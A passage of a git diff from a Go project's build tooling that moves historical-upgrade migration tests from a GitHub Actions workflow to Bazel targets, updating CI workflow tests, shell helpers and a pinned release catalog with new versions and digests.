strings.Contains(out, "::error::historical upgrade failed for v3") { - t.Errorf("v1/v3 must not be reported as failed; output:\n%s", out) - } - if !strings.Contains(summary, "v2") { - t.Errorf("GITHUB_STEP_SUMMARY does not mention the failed version v2:\n%s", summary) - } - if strings.Contains(summary, "v1") || strings.Contains(summary, "v3") { - t.Errorf("GITHUB_STEP_SUMMARY must only list failed versions:\n%s", summary) - } - }) - - t.Run("all versions pass, step exits 0", func(t *testing.T) { - const stub = "#!/usr/bin/env bash\nexit 0\n" - code, out, summary := run(t, step.Run, `["v1","v2"]`, stub) - if code != 0 { - t.Errorf("exit code = %d, want 0, output:\n%s", code, out) - } - if strings.TrimSpace(summary) != "" { - t.Errorf("GITHUB_STEP_SUMMARY should be untouched on an all-pass run, got:\n%s", summary) - } - }) - - for _, badInput := range []string{`[]`, `null`, `not-json`, `"a string, not an array"`} { - t.Run("fails closed on "+badInput, func(t *testing.T) { - const stub = "#!/usr/bin/env bash\necho ran >&2\nexit 1\n" - code, out, _ := run(t, step.Run, badInput, stub) - if code != 1 { - t.Errorf("SHARD_VERSIONS=%s: exit code = %d, want 1 (fail closed)", badInput, code) - } - if !strings.Contains(out, "::error::shard test-shard resolved to zero versions") { - t.Errorf("SHARD_VERSIONS=%s: missing the fail-closed ::error::; output:\n%s", badInput, out) - } - if strings.Contains(out, "ran") { - t.Errorf("SHARD_VERSIONS=%s: run.sh must never be invoked when the version list fails closed; output:\n%s", badInput, out) - } - }) - } - - t.Run("a hung version is bounded by timeout and does not hide the next version", func(t *testing.T) { - // Exercise the REAL timeout/kill-after wiring, just at durations a - // unit test can afford: substitute the pinned 8m/30s for 2s/1s. If a - // mutation removed the `timeout` wrapper entirely, this substitution - // is a no-op and the stub's 10s sleep would make this subtest's own - // assertions fail well before a developer-visible hang, bounded by - // the 20s context below. - fastStep := strings.NewReplacer("8m", "2s", "30s", "1s").Replace(step.Run) - const stub = `#!/usr/bin/env bash -v="" -while [ $# -gt 0 ]; do - if [ "$1" = "--version" ]; then v="$2"; fi - shift -done -if [ "$v" = "hangs" ]; then - sleep 10 - exit 0 -fi -echo "stub-ran:$v" -exit 0 -` - dir, summaryFile := writeHarness(t, stub) - ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) - defer cancel() - cmd := exec.CommandContext(ctx, "bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", fastStep) - cmd.Dir = dir - cmd.Env = baseEnv(`["hangs","after"]`, summaryFile) - start := time.Now() - out, err := cmd.CombinedOutput() - elapsed := time.Since(start) - if ctx.Err() == context.DeadlineExceeded { - t.Fatalf("loop did not return within 20s; the timeout wrapper did not bound the hang. output:\n%s", out) - } - if elapsed > 8*time.Second { - t.Errorf("loop took %s to process a version meant to be killed after ~3s; output:\n%s", elapsed, out) - } - if _, ok := err.(*exec.ExitError); !ok && err != nil { - t.Fatalf("run loop: %v\noutput:\n%s", err, out) - } - if !strings.Contains(string(out), "stub-ran:after") { - t.Errorf("the version after the hang never ran; output:\n%s", out) - } - if !strings.Contains(string(out), "::error::historical upgrade failed for hangs") { - t.Errorf("the killed version was not reported as failed; output:\n%s", out) - } - }) -} - -// TestMigrationHarnessDoltRuntimeStepGatedByShard pins that the "Install Dolt -// test runtime" step's gate is exactly `matrix.shard == 'dolt-runtime'`, not -// some other formulation that might accidentally also match (or exclude) a -// different shard (F7c review fix S1, closes mutation M3). -func TestMigrationHarnessDoltRuntimeStepGatedByShard(t *testing.T) { - job := readCIWorkflow(t, "migration-test.yml").job(t, "historical-upgrades") - step := job.step(t, "Install Dolt test runtime") - const want = "matrix.shard == 'dolt-runtime'" - if step.If != want { - t.Errorf("migration-test.yml's Install Dolt test runtime if = %q, want %q", step.If, want) - } -} - -// TestMigrationHarnessCacheHashMatchesDerivation pins that each shard's -// cache-hash is still sha256(join(",", ))[:16], computed from the pre-fold 14-entry identity table that -// existed before the 14 -> 3 shard fold (git show -// 362eecc6bf:.github/workflows/migration-test.yml), so a future shard -// rebalance or version-list edit can't silently leave a stale cache key -// behind (F7c review fix S1, closes mutation M5). -func TestMigrationHarnessCacheHashMatchesDerivation(t *testing.T) { - identities := map[string]string{ - "v0.9.1": "v0.9.1-source-e3c8554fa2c3e4b9caf7e296e9c8abbe24211a72-go1.25.0-cgo1", - "v0.17.0": "v0.17.0-d4d08617a324c85b45c9628bc519d659a9ff9c7c37da67aa48727e0af7f19a75", - "v0.49.6": "v0.49.6-8546dc9a47e11dc31ac2bc9a0224a9c690975e91850932cbb62623053fbb7db8", - "v0.50.3": "v0.50.3-e94b09e0b6a9324bbc0e81ea36bccaaa42172a926bfedfb389e9a26dedb63184", - "v0.55.4": "v0.55.4-e0fa25456dd82890230eef17653448a0bf995104c78864be91c5ed84426a5f49", - "v0.56.1": "v0.56.1-4f9f6cc44465a11613ff529009901eaaf841c6b1f91c15e002b0ecda2015a15c", - "v0.57.0": "v0.57.0-f8629d5627bed7d25f06f92334addc171d679f9aed9d08c5d42a9684205dc04b", - "v0.62.0": "v0.62.0-4cca7265b22e5c3ca8d62ab0b9752bec31f68b7f5fa636282a4c7e5454c35535", - "v0.63.3": "v0.63.3-5f4efd2e010209b3f381dbcd783b2a3a652f50ea72f40ef04c8ba434d408bf9e", - "v1.0.0": "v1.0.0-7057db1e92428fcf5c08d5dc6b07ead57e588b262cba78b9a26893d55bd29fdb", - "v1.0.1": "v1.0.1-1d2364d5d7083a4634a9e734ca87822fb79c2b6625988f9f791e3376313b1b77", - "v1.1.0": "v1.1.0-b0f3dd607c3fb989ee08d0a6854fba80d0402971eb108f9af6170bc14d491a34", - "v1.1.2": "v1.1.2-a72d71ed374955dc9f83a0f90b54bd7b6a0016709dd1676ae2e368651ed401c2", - "v1.2.2": "v1.2.2-8140098a51d3b81d5548d1c5e6db1a2d9930e5d141efe2a4bff7d079c4d321e8", - } - - job := readCIWorkflow(t, "migration-test.yml").job(t, "historical-upgrades") - for _, leg := range job.Strategy.Matrix.Include { - shard, _ := leg.Extra["shard"].(string) - versionsJSON, _ := leg.Extra["versions"].(string) - var versions []string - if err := json.Unmarshal([]byte(versionsJSON), &versions); err != nil { - t.Fatalf("shard %q versions %q: %v", shard, versionsJSON, err) - } - var parts []string - for _, v := range versions { - id, ok := identities[v] - if !ok { - t.Fatalf("shard %q version %q has no known pre-fold cache-identity; update the table in this test", shard, v) - } - parts = append(parts, id) - } - sum := sha256.Sum256([]byte(strings.Join(parts, ","))) - want := hex.EncodeToString(sum[:])[:16] - gotAny, ok := leg.Extra["cache-hash"] - if !ok { - t.Fatalf("shard %q has no cache-hash field", shard) - } - if got := fmt.Sprint(gotAny); got != want { - t.Errorf("shard %q cache-hash = %q, want sha256(join(\",\", identities))[:16] = %q", shard, got, want) - } - } -} - func mapKeys[K comparable, V any](m map[K]V) []K { keys := make([]K, 0, len(m)) for k := range m { @@ -694,7 +329,6 @@ func TestCrossVersionSmokeChunksEveryResolvedVersion(t *testing.T) { // blacksmithAdvisoryWorkflows are every workflow file F7c moved a job onto a // same-repo-PR (or push-only, for main.yml's seed) Blacksmith runner. var blacksmithAdvisoryWorkflows = []string{ - "migration-test.yml", "cross-version-smoke.yml", "docs-mintlify.yml", "main.yml", @@ -738,18 +372,13 @@ func containsSecretRef(s string) bool { // advisoryBlacksmithRunnerJobs pins which F7c advisory job runs on which // same-repo Blacksmith expression, and what label each falls back to when -// the same-repo/merge_group condition is false. migration-test.yml's -// historical-upgrades job is the one case with a non-ubuntu-latest fallback -// (sameRepoBlacksmith4vcpuNoble, F7c review fix B1): it must still resolve to -// the literal ubuntu-24.04 label, not the usual ubuntu-latest, for forks/ -// Dependabot/push. +// the same-repo/merge_group condition is false. var advisoryBlacksmithRunnerJobs = []struct { file string job string blacksmithLabel string fallback string }{ - {"migration-test.yml", "historical-upgrades", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-24.04"}, {"cross-version-smoke.yml", "smoke", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, {"cross-version-smoke.yml", "versions", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, {"docs-mintlify.yml", "broken-links", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, @@ -818,16 +447,15 @@ func TestF7cAdvisorySameRepoBlacksmithExpressionSemantics(t *testing.T) { // self-defined `blacksmith-sg-v1-` setup-go cache main.yml's // blacksmith-setup-go-cache job seeds (B2, F7c implementation report). var blacksmithSetupGoCacheConsumers = map[string][]string{ - "migration-test.yml": {"historical-upgrades"}, "cross-version-smoke.yml": {"smoke"}, } // blacksmithSetupGoCacheKeyNamespace is the self-defined cache key prefix // (not setup-go's own implicit key) that the seeder and every consumer share, // so the "no save in a consumer job" checks below can scope to exactly this -// cache without also flagging an unrelated, legitimately-caching step (e.g. -// migration-test.yml's historical-dolt-* cache, which is a distinct -// restore/save pair of its own - see advisoryBinaryCaches below). +// cache without also flagging an unrelated, legitimately-caching step (a +// binary cache with a distinct restore/save pair of its own - see +// advisoryBinaryCaches below). const blacksmithSetupGoCacheKeyNamespace = "blacksmith-sg-v1-" // TestBlacksmithSetupGoSeedExistsForAdvisoryConsumers pins that main.yml's @@ -1008,11 +636,10 @@ func TestMainWorkflowHasNoSameRepoPRReachableTrigger(t *testing.T) { // main.yml's seeder may ever write it, so a same-repo PR run can read the // cache but never poison what another PR or main's seeder reads back. The // "no save" check is scoped to the blacksmith-sg-v1- key namespace -// specifically (not "no actions/cache/save in this job at all"), since -// migration-test.yml's historical-upgrades job keeps its own historical-dolt-* -// cache in a different namespace - governed by its own restore/save-gated -// pair below (advisoryBinaryCaches / F7c review fix X1), not an exemption -// from this one. +// specifically (not "no actions/cache/save in this job at all"), since a +// binary cache in a different namespace is governed by its own +// restore/save-gated pair below (advisoryBinaryCaches / F7c review fix X1), +// not an exemption from this one. func TestAdvisoryBlacksmithConsumersAreCacheRestoreOnly(t *testing.T) { for file, jobNames := range blacksmithSetupGoCacheConsumers { workflow := readCIWorkflow(t, file) @@ -1157,7 +784,6 @@ var advisoryBinaryCaches = []struct { wantSaveIf string }{ {"cross-version-smoke.yml", "smoke", "Restore previous release binaries cache", "Save previous release binaries cache", "smoke-binaries-", "github.event_name == 'push' || github.event_name == 'workflow_dispatch'"}, - {"migration-test.yml", "historical-upgrades", "Restore pinned historical release cache", "Save pinned historical release cache", "historical-dolt-", "github.event_name == 'push' || github.event_name == 'workflow_dispatch'"}, } // TestAdvisoryBinaryCachesAreRestoreAlwaysSavePRGated pins the restore/save diff --git a/scripts/ci_workflow_apt_get_timeout_test.go b/scripts/ci_workflow_apt_get_timeout_test.go index 29ca6019d..c9e06284b 100644 --- a/scripts/ci_workflow_apt_get_timeout_test.go +++ b/scripts/ci_workflow_apt_get_timeout_test.go @@ -48,17 +48,6 @@ func (b aptStepBudget) loopHeader() string { func aptStepBudgets() []aptStepBudget { return []aptStepBudget{ - { - workflow: "migration-test.yml", - job: "historical-upgrades", - step: "Install test dependencies", - updateAttempts: 3, - updateTimeout: 120, - backoff: 10, - installTimeout: 180, - installPkgs: "jq libicu74", - capMinutes: 11, - }, { workflow: "release.yml", job: "goreleaser", diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index e2956ca4a..b3f0980c6 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -2286,10 +2286,10 @@ type ciWorkflowMatrixInclude struct { // F7b review fix (S1): no typed `shard` field here. pr-preflight- // platforms' Windows shard split (the one thing in this file that ever // used it) was reverted as not measurably helpful, and a typed field - // here is shared by every workflow's `strategy.matrix.include` tuples — - // migration-test.yml's shard: src/pre-dolt/dolt-runtime entries use a - // STRING, not an int, so a mismatched type here would break parsing of - // an unrelated workflow. Untyped matrix keys fall through to Extra. + // here is shared by every workflow's `strategy.matrix.include` tuples, + // whose keys may be any type, so a mismatched type here would break + // parsing of an unrelated workflow. Untyped matrix keys fall through to + // Extra. Extra map[string]any `yaml:",inline"` } @@ -2709,22 +2709,9 @@ const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && // F7c: used to define its own sameRepoBlacksmith4vcpu here (same expression // as sameRepoBlacksmith2vcpu with the 4 vCPU label, for advisory jobs that -// compile Go: migration-test.yml, -// cross-version-smoke.yml). F7a independently -// defined the same const; both are now served by the single shared -// sameRepoBlacksmith4vcpu in ci_blacksmith_runner_test.go. migration-test.yml's -// historical-upgrades job uses sameRepoBlacksmith4vcpuNoble instead (below). - -// F7c review fix (B1): migration-test.yml's historical-upgrades job cannot -// use the plain ubuntu-latest fallback that sameRepoBlacksmith4vcpu uses, -// because the v0.55.4 fixture is dynamically linked against the ICU ABI -// shipped by Ubuntu 24.04's libicu74 package, and GitHub's ubuntu-latest -// label is scheduled to move from 24.04 to 26.04 starting 2026-10-19 (see -// actions/runner-images#14748); 26.04 drops libicu74 entirely. The fallback -// here is pinned to the literal `ubuntu-24.04` label instead so the -// non-Blacksmith path keeps working after that migration regardless of when -// it lands. Do not fold this back into sameRepoBlacksmith4vcpu. -const sameRepoBlacksmith4vcpuNoble = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-24.04' }}" +// compile Go: cross-version-smoke.yml). F7a independently defined the same +// const; both are now served by the single shared sameRepoBlacksmith4vcpu in +// ci_blacksmith_runner_test.go. // F7b: venue-matrix runs-on for main.yml jobs that seed a Blacksmith GOCACHE // alongside their GitHub-hosted seed ("venue: [blacksmith, github]"): @@ -3051,7 +3038,6 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // is cheap enough to size at 2 vCPU per spec-f7.md §2.2) and moves // to Blacksmith for same-repo PRs/merge_group only; forks, // Dependabot and push stay on ubuntu-latest. - "migration-test.yml": {"historical-upgrades": sameRepoBlacksmith4vcpuNoble}, "cross-version-smoke.yml": {"smoke": sameRepoBlacksmith4vcpu, "versions": sameRepoBlacksmith2vcpu}, "docs-mintlify.yml": {"broken-links": sameRepoBlacksmith2vcpu}, // main.yml's seeder job (B2, F7c implementation report) is the one @@ -3117,7 +3103,6 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // Blacksmith label beyond the jobs listed in `want` above. for _, file := range []string{ "pr.yml", "pr-risk.yml", "main.yml", - "migration-test.yml", "cross-version-smoke.yml", "docs-mintlify.yml", } { workflow := readCIWorkflow(t, file) diff --git a/scripts/migration-test/catalog/README.md b/scripts/migration-test/catalog/README.md index d5d6f0b94..42f9f0e08 100644 --- a/scripts/migration-test/catalog/README.md +++ b/scripts/migration-test/catalog/README.md @@ -1,7 +1,8 @@ # Historical release catalog -`../release-catalog.json` pins the exact historical release universe used by the -v1.2 upgrade census: 122 stable module versions authenticated through the Go +`../release-catalog.json` pins the exact historical release universe (v0.9.1 +through v1.3.1; the v1.2 upgrade census plus the releases since): 127 stable +module versions authenticated through the Go proxy and SumDB, each with module / `go.mod` / source-zip / proxy-origin provenance, explicit proxy prerelease and repository-only tag exclusions, and the current repository tag drift. @@ -18,13 +19,22 @@ artifact (`usage: catalog generate|validate `): release APIs (network plus `go`/`gh` required). This is a manual maintenance path, not a CI step. +## Adding a release + +Raise `maximumVersion` in `main.go`, run `generate`, and update the count +constants and `expectedCatalogSHA256` the validator then reports. Every +release with a linux/amd64 asset digest automatically becomes a pinned Bazel +repository (`@bd_releases//:`, `tools/bazel/bd_releases.bzl`). + ## Status: self-validated reference anchor Today the catalog is a reviewed-identity anchor. Its only automated enforcement is `TestCheckedCatalogIsCanonicalAndComplete` in `main_test.go`, which runs under `go test ./...` and holds the checked JSON to the pinned digest and its -invariants. Nothing in the migration-test harness (`run.sh`, -`historical-dolt-upgrade-test.sh`, `legacy-bridge-test.sh`) consumes it yet. +invariants. Bazel consumes it: `tools/bazel/bd_releases.bzl` declares one +sha256-verified repository per release asset it records, which the +regression, migration (`tests/migration`) and cross-version targets run +instead of downloading release binaries. The intended consumer is the upgrade-coverage work stacked on top of this change: runtime schema observations and family/path qualification will drive diff --git a/scripts/migration-test/catalog/main.go b/scripts/migration-test/catalog/main.go index d5f6ff34f..d2099320f 100644 --- a/scripts/migration-test/catalog/main.go +++ b/scripts/migration-test/catalog/main.go @@ -23,21 +23,22 @@ import ( const ( modulePath = "github.com/steveyegge/beads" minimumVersion = "v0.9.1" - maximumVersion = "v1.1.2" + maximumVersion = "v1.3.1" proxyURL = "https://proxy.golang.org" githubRepository = "gastownhall/beads" - expectedVersions = 122 + expectedVersions = 127 expectedRepoOnly = 49 expectedRepoPre = 3 - expectedReleases = 92 - expectedLinuxAssets = 89 + expectedProxyPre = 7 + expectedReleases = 95 + expectedLinuxAssets = 92 expectedTagDrift = 13 expectedDriftAssets = 11 // This pins the complete reviewed catalog identity. A generator run may // expose upstream drift, but offline validation rejects even well-formed // substitutions until this digest is deliberately updated. - expectedCatalogSHA256 = "298dd489a6274d80ac42e1fb14c993444159f3193a290f8da37afcb3e2eaf10d" + expectedCatalogSHA256 = "edd01ba3352ec38260a87637d8ec4abb6689df7b2b57f100b18b06842024f858" ) var ( @@ -511,7 +512,7 @@ func validateSourceRelations(versions []Entry, driftSet map[string]bool) error { // validateExclusions checks the proxy-prerelease and repository-only exclusion // lists against the included version set. func validateExclusions(ex Exclusions, seen map[string]bool) error { - if err := validateExcluded("proxy prereleases", ex.ProxyPrereleases, 2, isPrerelease, seen); err != nil { + if err := validateExcluded("proxy prereleases", ex.ProxyPrereleases, expectedProxyPre, isPrerelease, seen); err != nil { return err } if err := validateExcluded("repository-only stable tags", ex.RepositoryOnlyStable, expectedRepoOnly, isStable, seen); err != nil { diff --git a/scripts/migration-test/catalog/main_test.go b/scripts/migration-test/catalog/main_test.go index 2ce30a17b..dce27e852 100644 --- a/scripts/migration-test/catalog/main_test.go +++ b/scripts/migration-test/catalog/main_test.go @@ -13,9 +13,9 @@ import ( func TestCheckedCatalogIsCanonicalAndComplete(t *testing.T) { catalog := readCheckedCatalog(t) - if len(catalog.Versions) != 122 || len(catalog.Exclusions.RepositoryOnlyStable) != 49 || + if len(catalog.Versions) != 127 || len(catalog.Exclusions.RepositoryOnlyStable) != 49 || len(catalog.Exclusions.RepositoryOnlyPrereleases) != 3 { - t.Fatalf("catalog counts = %d/%d/%d, want 122/49/3", + t.Fatalf("catalog counts = %d/%d/%d, want 127/49/3", len(catalog.Versions), len(catalog.Exclusions.RepositoryOnlyStable), len(catalog.Exclusions.RepositoryOnlyPrereleases)) } @@ -64,7 +64,7 @@ func TestCheckedCatalogRejectsWellFormedIdentitySubstitution(t *testing.T) { func TestClassifyVersionsUsesProxyAsStableUniverse(t *testing.T) { stable, excluded, err := classifyVersions( - []string{"v1.1.2", "v1.1.0-rc.2", "v0.56.0", "v1.1.0-rc.1", "v0.9.1", "v1.2.0"}, + []string{"v1.1.2", "v1.1.0-rc.2", "v0.56.0", "v1.1.0-rc.1", "v0.9.1", "v1.4.0"}, []string{"v0.9.1", "v0.57.12", "v0.58.8-nosqlite", "v1.1.0-rc.1", "v1.1.2", "2026.218.0"}, ) if err != nil { diff --git a/scripts/migration-test/lib/binary.sh b/scripts/migration-test/lib/binary.sh index 6e4e46175..73b85563c 100755 --- a/scripts/migration-test/lib/binary.sh +++ b/scripts/migration-test/lib/binary.sh @@ -126,9 +126,28 @@ verify_release_binary_version() ( fi ) +# HISTORICAL_RELEASE_DIR (set by the Bazel targets in tests/migration) holds +# the pinned release binaries as /, each already verified +# against the release catalog's sha256 when Bazel fetched it, so nothing is +# downloaded. A version the directory lacks is an error, never a download. +prepinned_release_binary() { + local version="$1" binary + binary="$HISTORICAL_RELEASE_DIR/$version" + if [ ! -f "$binary" ]; then + echo "ERROR: HISTORICAL_RELEASE_DIR has no pinned $version binary (declare it in the target's releases)" >&2 + return 1 + fi + verify_release_binary_version "$version" "$binary" || return 1 + resolve_existing_path "$binary" +} + download_verified_release_binary() { local version="$1" local asset expected release_dir archive binary + if [ -n "${HISTORICAL_RELEASE_DIR:-}" ]; then + prepinned_release_binary "$version" + return + fi asset=$(strict_release_asset "$version" "$OS" "$ARCH") || { echo "ERROR: no strict release manifest for $version ($OS/$ARCH)" >&2 return 1 @@ -180,6 +199,13 @@ download_verified_release_binary() { # v0.9.1 has no release asset. Its historical CLI reports 0.9.0 (dev), so # qualification is the module checksum and VCS origin, never self-reporting. build_verified_v091_source_binary() ( + # SOURCE_TAG_SQLITE_BIN (set by //tests/migration's v0.9.1 target) is + # this same build, done offline by Bazel from the sha256-pinned module + # files with the same toolchain (//tests/migration:bd_source_tag). + if [ -n "${SOURCE_TAG_SQLITE_BIN:-}" ]; then + resolve_existing_path "$SOURCE_TAG_SQLITE_BIN" + return + fi local scratch module_json source_dir build_dir binary temporary toolchain_root toolchain_go toolchain scratch=$(mktemp -d) || return 1 # Canonicalize immediately: macOS's default TMPDIR (/var/folders/...) is diff --git a/scripts/migration-test/lib/versions.sh b/scripts/migration-test/lib/versions.sh index 7b3176cd7..30af7bcc2 100755 --- a/scripts/migration-test/lib/versions.sh +++ b/scripts/migration-test/lib/versions.sh @@ -49,8 +49,8 @@ declare -ar EMBEDDED_DOLT_VERSIONS=( # ignored-0011. Both regimes are replayed over populated rows by the candidate's # main 0054-0066 + ignored 0012-0025 chain. v1.2.2 is the v1.1.2 tree re-tagged # by the recovery release, so it adds no new regime — it is here because it is -# the tag people in the field actually upgrade from. Also gates the external -# Dolt oracle download in migration-test.yml. +# the tag people in the field actually upgrade from. Also selects the +# external Dolt oracle (DOLT_BIN) in tests/migration's targets. declare -ar WISP_PLANE_VERSIONS=( "v1.0.1" "v1.1.0" diff --git a/scripts/migration-test/release-catalog.json b/scripts/migration-test/release-catalog.json index 007f35a0d..6c7c3f0c0 100644 --- a/scripts/migration-test/release-catalog.json +++ b/scripts/migration-test/release-catalog.json @@ -2400,6 +2400,98 @@ "digest": "sha256:a72d71ed374955dc9f83a0f90b54bd7b6a0016709dd1676ae2e368651ed401c2" } } + }, + { + "version": "v1.2.0", + "sum": "h1:ybRxPVim24oaMdC19xobwBaoFMkgt7HrYZVOGR0Sts4=", + "go_mod_sum": "h1:iMHTYp47/cVnXX+SXweYlG9M9dZhOopTFCBLpyOT69E=", + "origin": { + "hash": "fa3d8cc5ceda129b76f8284231f34a3b6fe30b86", + "ref": "refs/tags/v1.2.0" + }, + "source_zip": { + "sha256": "ad670f9c652f7d54b381fcc79e0e76a9506750c44465fb019260a2f8de259d17", + "size": 11232684 + } + }, + { + "version": "v1.2.1", + "sum": "h1:23vau/bJYyjRUo3CzvZyfm63yxeV1SHalaPRpVFNIpY=", + "go_mod_sum": "h1:iMHTYp47/cVnXX+SXweYlG9M9dZhOopTFCBLpyOT69E=", + "origin": { + "hash": "634cbbc4bc580fa5124f63fdf65d137a46d5b4ff", + "ref": "refs/tags/v1.2.1" + }, + "source_zip": { + "sha256": "c10110f0e61087f8643d78a8ef6644375524a2ef3cead384809b394fad08d2ba", + "size": 11235296 + } + }, + { + "version": "v1.2.2", + "sum": "h1:2K5ki3k1GGGKuYdFIuJtqHHziGQcepN+H2f/EYfE0X4=", + "go_mod_sum": "h1:oavjy+j75Szj3AIHLe0rv6fMyMZ8O+vGpPFh0nq+T08=", + "origin": { + "hash": "6c124203e771433a3550c348771a5b5e27fd3c21", + "ref": "refs/tags/v1.2.2" + }, + "source_zip": { + "sha256": "4e26133ada66d4df2b5a225eed07e2a67d39f95d1e0f7af24a55a921552d2856", + "size": 7610482 + }, + "github_release": { + "html_url": "https://github.com/gastownhall/beads/releases/tag/v1.2.2", + "source_relation": "matches_proxy_origin", + "linux_amd64_asset": { + "size": 49107375, + "name": "beads_1.2.2_linux_amd64.tar.gz", + "digest": "sha256:8140098a51d3b81d5548d1c5e6db1a2d9930e5d141efe2a4bff7d079c4d321e8" + } + } + }, + { + "version": "v1.3.0", + "sum": "h1:QPvdw+hRA6EDx31eTzBe2pl/B5Z7yXczq7bC8KHPY0Q=", + "go_mod_sum": "h1:bw++9IlggPhjAeyNOv6cmfOlfyV+ERA5BiRgsqDvyTc=", + "origin": { + "hash": "f45b249ce6b40ba62aecc03949e6371e8f7c79d8", + "ref": "refs/tags/v1.3.0" + }, + "source_zip": { + "sha256": "09dc04bcca035e194d9c0bce3ff4e2caffbed30795d12bc757bc06cdb66757d6", + "size": 12150899 + }, + "github_release": { + "html_url": "https://github.com/gastownhall/beads/releases/tag/v1.3.0", + "source_relation": "matches_proxy_origin", + "linux_amd64_asset": { + "size": 53179375, + "name": "beads_1.3.0_linux_amd64.tar.gz", + "digest": "sha256:2f92b904ecf35b607e44dc5c39229173af69c54f1183e8d709f1773540cdcf3b" + } + } + }, + { + "version": "v1.3.1", + "sum": "h1:Ec9DhMDHo/prSd8PDYts+4VF5TY9hI0PrZ46bYnxj1Y=", + "go_mod_sum": "h1:z7FHqG/z403/Sjr6j36QaeWdFWFpEDwQVhWZt9C3Mug=", + "origin": { + "hash": "c1c4b642ac1c08d8c828007a1c2f96e47e43ef7c", + "ref": "refs/tags/v1.3.1" + }, + "source_zip": { + "sha256": "018ce9faca318c0d8c54bde035ddf62bdfc7f45980ef0c92359dc1369bea9c24", + "size": 12443826 + }, + "github_release": { + "html_url": "https://github.com/gastownhall/beads/releases/tag/v1.3.1", + "source_relation": "matches_proxy_origin", + "linux_amd64_asset": { + "size": 53304363, + "name": "beads_1.3.1_linux_amd64.tar.gz", + "digest": "sha256:3219443a9734b89b93fb16ee8d65844759fa1b3cd3cf139c606b7353cfb0715c" + } + } } ], "repository_tag_drift": [ @@ -2459,7 +2551,12 @@ "exclusions": { "proxy_prereleases": [ "v1.1.0-rc.1", - "v1.1.0-rc.2" + "v1.1.0-rc.2", + "v1.2.2-rc.1", + "v1.3.0-rc.1", + "v1.3.0-rc.2", + "v1.3.1-rc.1", + "v1.3.1-rc.2" ], "repository_only_stable_tags": [ "v0.57.12", diff --git a/scripts/migration_corpus_bazel_test.go b/scripts/migration_corpus_bazel_test.go new file mode 100644 index 000000000..70daeb452 --- /dev/null +++ b/scripts/migration_corpus_bazel_test.go @@ -0,0 +1,187 @@ +package scripts_test + +import ( + "encoding/json" + "regexp" + "slices" + "strings" + "testing" +) + +// The historical-upgrade corpus runs as //tests/migration's per-release +// targets. Their release list and their pinned inputs live in Bazel files; +// scripts/migration-test/lib/versions.sh stays the reviewed definition of the +// corpus. These checks keep the two equal, so a release added to the corpus +// gets a target and a pinned binary, and a target never runs a binary whose +// digest differs from the one the harness would have verified. + +// bashArray returns the elements of `declare -ar NAME=( ... )` in versions.sh. +func bashArray(t *testing.T, src, name string) []string { + t.Helper() + m := regexp.MustCompile(`(?s)declare -ar ` + name + `=\((.*?)\)`).FindStringSubmatch(src) + if m == nil { + t.Fatalf("versions.sh has no array %s", name) + } + return regexp.MustCompile(`"([^"]+)"`).FindAllString(m[1], -1) +} + +// bashScalar returns the value of `readonly NAME="..."` in versions.sh. +func bashScalar(t *testing.T, src, name string) string { + t.Helper() + m := regexp.MustCompile(`(?m)^readonly ` + name + `="([^"]*)"$`).FindStringSubmatch(src) + if m == nil { + t.Fatalf("versions.sh has no scalar %s", name) + } + return m[1] +} + +// starlarkList returns the string elements of `NAME = [ ... ]` in a BUILD file. +func starlarkList(t *testing.T, src, name string) []string { + t.Helper() + m := regexp.MustCompile(`(?s)\n` + name + ` = \[(.*?)\]`).FindStringSubmatch(src) + if m == nil { + t.Fatalf("tests/migration/BUILD.bazel has no list %s", name) + } + var out []string + for _, q := range regexp.MustCompile(`"([^"]+)"`).FindAllStringSubmatch(m[1], -1) { + out = append(out, q[1]) + } + return out +} + +func unquote(items []string) []string { + out := make([]string, len(items)) + for i, s := range items { + out[i] = strings.Trim(s, `"`) + } + return out +} + +func sortedSet(items ...[]string) []string { + var out []string + for _, list := range items { + out = append(out, list...) + } + slices.Sort(out) + return slices.Compact(out) +} + +func TestMigrationCorpusBazelTargetsMatchVersionsSh(t *testing.T) { + root := sourceRepoRoot(t) + versions := readPolicyFile(t, root, "scripts/migration-test/lib/versions.sh") + build := readPolicyFile(t, root, "tests/migration/BUILD.bazel") + + sqlite := []string{ + bashScalar(t, versions, "SOURCE_TAG_SQLITE_VERSION"), + bashScalar(t, versions, "PRE_CANONICAL_SQLITE_VERSION"), + bashScalar(t, versions, "CLASSIC_SQLITE_VERSION"), + bashScalar(t, versions, "CONFIGURED_SQLITE_VERSION"), + } + server := unquote(bashArray(t, versions, "HISTORICAL_DOLT_VERSIONS")) + embedded := unquote(bashArray(t, versions, "EMBEDDED_DOLT_VERSIONS")) + wisp := unquote(bashArray(t, versions, "WISP_PLANE_VERSIONS")) + + if got, want := sortedSet(starlarkList(t, build, "_CORPUS")), sortedSet(sqlite, server, embedded); !slices.Equal(got, want) { + t.Errorf("tests/migration _CORPUS = %v, want versions.sh's corpus %v", got, want) + } + if got, want := sortedSet(starlarkList(t, build, "_DOLT_RUNTIME")), sortedSet(server, wisp); !slices.Equal(got, want) { + t.Errorf("tests/migration _DOLT_RUNTIME = %v, want HISTORICAL_DOLT_VERSIONS + WISP_PLANE_VERSIONS %v", got, want) + } + if m := regexp.MustCompile(`(?m)^_SOURCE_TAG = "([^"]+)"$`).FindStringSubmatch(build); m == nil || m[1] != sqlite[0] { + t.Errorf("tests/migration _SOURCE_TAG = %v, want SOURCE_TAG_SQLITE_VERSION %s", m, sqlite[0]) + } + if !strings.Contains(build, `"github.com/steveyegge/beads `+sqlite[0]+` `+bashScalar(t, versions, "SOURCE_TAG_SQLITE_GO_TOOLCHAIN")+`"`) { + t.Errorf("tests/migration:bd_source_tag does not build %s@%s with %s", + bashScalar(t, versions, "SOURCE_TAG_SQLITE_MODULE"), sqlite[0], bashScalar(t, 